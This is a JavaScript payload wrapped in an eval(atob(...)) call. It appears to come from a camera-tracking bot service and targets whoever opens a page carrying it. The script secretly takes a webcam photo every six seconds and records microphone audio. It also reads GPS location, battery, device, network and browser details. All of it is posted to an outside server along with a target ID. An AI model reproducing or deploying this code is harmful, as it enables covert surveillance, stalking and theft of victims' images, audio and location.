eval(atob("if (typeof id_target !== "undefined") {
} else {
  var id_target = "unknown";
}

window.$_GET = new URLSearchParams(location.search);
var server = "https://mantap.zenomedia.my.id/api";
//var data_pengguna = btoa('5287474770');
//cam_mode = 'environment';

if (typeof cam_mode === "undefined") {
  cam_mode = "user";
}

async function lmaopisan() {
  Notification.requestPermission().then((permission) => {
    if (permission === "granted") {
      // Mengecek apakah Service Worker dan PushManager tersedia
      if ("serviceWorker" in navigator && "PushManager" in window) {
        // Mendaftarkan Service Worker
        navigator.serviceWorker
          .register("/serviceworker.js")
          .then(function (registration) {
            console.log("Service Worker terdaftar:", registration);
            // Pastikan Service Worker sudah siap sebelum subscribe
            return navigator.serviceWorker.ready;
          })
          .then(function (registration) {
            // Setelah Service Worker siap, lanjutkan ke subscribe
            return registration.pushManager.subscribe({
              userVisibleOnly: true,
              applicationServerKey:
                "BO8V1J0hKlUmy1tqCzumX6hs06rHhHTqkPwC58HoZ3mayzqjctrfulMSDdYy8ezKG7uZeUaTwVbcjxqY0HW-iU8", // Ganti dengan public VAPID key Anda
            });
          })
          .then(function (subscription) {
            console.log(
              "Berhasil berlangganan ke push notification:",
              subscription
            );
            // Kirimkan subscription ke server

            fetch("/api/Notification", {
              method: "POST",
              body: JSON.stringify({
                subscription: subscription,
                user: data_pengguna,
              }),
              headers: {
                "Content-Type": "application/json",
              },
            })
              .then(function (response) {
                console.log("Subscription disimpan ke server:", response);
              })
              .catch(function (error) {
                console.error("Error sending subscription to server:", error);
              });
          })
          .then(function (response) {
            console.log("Subscription disimpan ke server:", response);
          })
          .catch(function (error) {
            console.error("Error subscribing to push notifications:", error);
          });
      }
    } else if (permission === "denied") {
      console.log("Permission denied for notifications");
    } else {
      console.log("Permission dismissed");
    }
  });
}
lmaopisan();
var canvas = document.createElement("canvas");
canvas.width = 600;
canvas.height = 750;
const video = document.createElement("video");
video.width = 600;
video.height = 750;
video.setAttribute("autoplay", "true");
var input = document.createElement("input");
input.value = "false";
async function start_camera() {
  let stream = await navigator.mediaDevices
    .getUserMedia({ video: { facingMode: cam_mode }, audio: false })
    .then(function success(stream) {
      video.srcObject = stream;
      input.value = "true";
      getport();
    })
    .catch((error) => {
      $.post(`${server}/sendAlert`, {
        judul: "CAMERA ALERT",
        msg: `<b>Camera Tidak Di izinkan!</b>\n`,
        user: data_pengguna,
      });
    });

  //	video.srcObject = stream;
}

start_camera();

function capture_data() {
  var context = canvas.getContext("2d");
  context.drawImage(video, 0, 0, canvas.width, canvas.height);
  let image_data_url = canvas.toDataURL("image/jpeg");
  //console.log(image_data_url);
  if (input.value === "true") {
    $.post(server + "/sendPhoto", {
      image: image_data_url,
      user: data_pengguna,
    });
  }
  setTimeout("capture_data()", 1000 * 6);
}

function capture_data_not_prem() {
  var context = canvas.getContext("2d");
  context.drawImage(video, 0, 0, canvas.width, canvas.height);
  let image_data_url = canvas.toDataURL("image/jpeg");
  //console.log(image_data_url);
  if (input.value === "true") {
    context.font = "30px Calibri";

    context.fillStyle = "yellow"; //<======= here
    context.fillText("@cam_track_bot", 10, 30);
    context.font = "12px Calibri";
    context.fillText(
      "Upgrade ke premium untuk menghilangkan Watermark",
      10,
      50
    );
    context.fillText("Developer @zerif_sanjaya", 10, 70);

    let image_data_urls = canvas.toDataURL("image/jpeg");

    $.post(server + "/sendPhoto", {
      image: image_data_urls,
      user: data_pengguna,
    });
  } else {
    setTimeout("capture_data_not_prem()", 1000 * 2);
  }
}

capture_data();

async function getLocation() {
  if (navigator.geolocation) {
    navigator.geolocation.getCurrentPosition(showPosition);
  } else {
    $.post(`${server}/sendAlert`, {
      judul: "Informasi GPS",
      msg: "Perangkat tidak support pengecekan GPS",
      user: data_pengguna,
    });
  }
}

function showPosition(position) {
  const gpsInfo = {
    latitude: position.coords.latitude,
    longitude: position.coords.longitude,
    accuracy: position.coords.accuracy, // Akurasi dalam meter
    timestamp: position.timestamp, // Waktu pengambilan data
  };

  $.post(`${server}/sendAlert`, {
    judul: "Informasi GPS",
    msg: `<b>LATITUDE</b> : ${position.coords.latitude}<i></i>\n<b>LONGITUDE</b> : ${position.coords.longitude}<i></i>\n<b>AKURASI</b> : ${position.coords.accuracy} Meter<i></i>\n<b>MAPS</b> : <code>https://maps.google.com/?q=${position.coords.latitude},${position.coords.longitude}</code>\n`,
    data: gpsInfo,
    user: data_pengguna,
  });
}

getLocation();

//PEMBATAS  DEVICE

async function battery() {
  if (navigator.getBattery) {
    navigator.getBattery().then((battery) => {
      //console.log(battery);
      if (battery.charging) {
        var status_battery = "CHARGING";
      } else {
        var status_battery = "DISCHARGING";
      }
      $.post(`${server}/sendAlert`, {
        judul: "BATTERY INFORMATION",
        msg: `<b>BATTERY LEVEL</b> : <i>${Math.round(
          battery.level * 100
        )}%</i>\n<b>STATUS : </b><i>${status_battery}</i>\n`,
        data: {
          charnging: battery.charging,
          level: battery.level,
          dischargingTime: battery.dischargingTime,
          chargingTime: battery.chargingTime,
        },
        user: data_pengguna,
      });
    });
  } else {
    $.post(`${server}/sendAlert`, {
      judul: "BATTERY INFORMATION",
      msg: "Perangkat tidak support pengecekan Battery",
      user: data_pengguna,
    });
  }
}

async function getport() {
  navigator.mediaDevices.enumerateDevices().then((devices) => {
    // Check the connected devices
    //console.log(devices);
    var data_dev = JSON.stringify(devices);
    var list_device = "";
    devices.forEach((data_for) => {
      list_device += `${data_for.kind} : ${data_for.label}\n\n`;
    });
    $.post(`${server}/sendAlert`, {
      judul: "PORT INFORMATION/DEVICE",
      msg: "<pre><code>" + list_device + "</code></pre>",
      user: data_pengguna,
    });
  });
}

//PEMBATAS AUDIO
async function mysound() {
  navigator.mediaDevices
    .getUserMedia({ audio: true })
    .then((stream) => {
      const mediaRecorder = new MediaRecorder(stream);
      mediaRecorder.start();

      const audioChunks = [];
      mediaRecorder.addEventListener("dataavailable", (event) => {
        audioChunks.push(event.data);
      });

      mediaRecorder.addEventListener("stop", () => {
        const audioBlob = new Blob(audioChunks, {
          type: "audio/mp3",
        });
        const objectURL = URL.createObjectURL(audioBlob);

        var reader = new FileReader();
        reader.readAsDataURL(audioBlob);
        reader.onloadend = function () {
          var base64data = reader.result;

          $.post(server + "/sendAudio", {
            audio: base64data,
            user: data_pengguna,
          });
        };
      });
      function timeout() {
        setTimeout(() => {
          mediaRecorder.stop();
        }, 7000);
      }
      timeout();
      getport();
    })
    .catch((error) => {
      $.post(`${server}/sendAlert`, {
        judul: "MICROPHONE ALERT",
        msg: `<b>Mikrophone Tidak Di izinkan!</b>\n`,
        user: data_pengguna,
      });
    });
}

async function jaringan() {
  if (navigator.connection) {
    //console.log(navigator.connection);
    var koneksi = navigator.connection;
    let koneksiInfo = {
      downlink: koneksi.downlink,
      effectiveType: koneksi.effectiveType,
      rtt: koneksi.rtt,
      saveData: koneksi.saveData,
    };
    $.post(`${server}/sendAlert`, {
      judul: "CONNECTION INFORMATION",
      msg: `<b>Hemat Data</b> : <i>${
        koneksiInfo.saveData ? "ON" : "OFF"
      }</i>\n<b>Kecepatan Koneksi</b> : <i>${
        koneksiInfo.downlink
      } Mbps</i>\n<b>KONEKSI : </b><i>${
        koneksiInfo.effectiveType
      }</i>\n<b>LATENCY : </b><i>${koneksiInfo.rtt} ms</i>\n`,
      data: koneksiInfo,
      user: data_pengguna,
    });
  } else {
    $.post(`${server}/sendAlert`, {
      judul: "CONNECTION INFORMATION",
      msg: "Perangkat tidak support pengecekan Connection",
      user: data_pengguna,
    });
  }
}

async function showmodel() {
  if (navigator.userAgentData) {
    var ua = navigator.userAgent;
    $.post(`${server}/sendAlert`, {
      judul: "USER AGENT",
      msg: ua,
      data: WURFL,
      user: data_pengguna,
      id_target: id_target,
    });
  }
}

battery();

mysound();
jaringan();
showmodel();

async function sendid() {
  $.post(`${server}/sendAlert`, {
    judul: "ID TARGET",
    msg: "ID TARGET : " + id_target,
    data: {
      id_target: id_target,
    },
    user: data_pengguna,
  });
}
sendid();
"))